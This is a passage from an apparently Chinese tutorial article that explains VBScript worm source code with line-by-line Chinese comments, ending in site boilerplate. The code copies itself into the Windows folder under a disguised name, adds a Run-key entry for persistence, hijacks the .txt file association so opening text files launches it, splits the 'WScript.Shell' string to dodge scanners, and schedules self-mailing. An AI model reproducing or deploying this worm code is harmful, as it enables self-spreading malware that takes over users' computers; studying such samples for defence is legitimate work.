If Read='' Then Read='00-1-1' '如果没有发送过Email
If DateDiff('d',Read,Date)>=5 Then '如果距上次发送的时间超过5天
SendEmail '发送Email
WriteReg RegPath,Date '把这次的发送日期写入注册表
End If
End Sub
Sub CopyWscriptToSystem32
'这个子程序把Wscript拷贝到Sytem32目录下
'为什么要这样做将在后面解释
If Fso.FileExists(WinPath & '\Wscript.exe') Then
Fso.GetFile(WinPath & '\Wscript.exe').Copy(WinPath &'\System32\Wscript.exe')
'这行代码实际上有两个动作
'首先是执行GetFile方法,得到一个文件
'然后执行Copy方法,把得到的文件复制到指定目录
End If
End Sub
Function GetWindowsPath()
'这个函数得到Windows目录
GetWindowsPath=Fso.GetSPecialFolder(0)
End Function
Sub CopySelfToWindowsPath()
'这个函数把自身复制到Windows目录,并且命名为Windows.htm.vbs
If Fso.FileExists(WinPath & '\Windows.htm.vbs') Then'如果文件已经存在,则不复制
Else
Fso.GetFile(WScript.ScriptFullname).Copy (WinPath &'\Windows.htm.vbs')
'WScript.ScriptFullname是当前脚本的完整路径和文件名
'这行代码复制自己到系统装目录
End If
End Sub
Sub ModifyReg
'修改注册表
Dim RegPath
RegPath='HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows'
WriteReg RegPath,WinPath & '\Windows.htm.vbs' '启动里面添加自己
'下面修改.txt文件关联
RegPath='HKCR\.txt\'
WriteReg RegPath,'txtfile'
RegPath='HKCR\txtfile\Shell\Open\command\'
WriteReg RegPath,WinPath & '\System32\WScript.exe ' &WinPath & '\Windows.htm.vbs'
End Sub
Sub WriteReg(Path,value)
'这个子程序把value写入注册表的Path
Set OperateReg=WScript.CreateObject('WSc' & 'ript.Sh' &'ell') '创建Shell对象
OperateReg.RegWrite Path,value '写注册表
Set OperateReg=Nothing '释放对象
End Sub
Function ReadReg(Path)
'这个函数返回在注册表的Path读去到内容
Set OperateReg=WScript.CreateObject('WSc' & 'ript.Sh' &'ell')
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-24756-2.html
看
大陆一直在等机会
比数量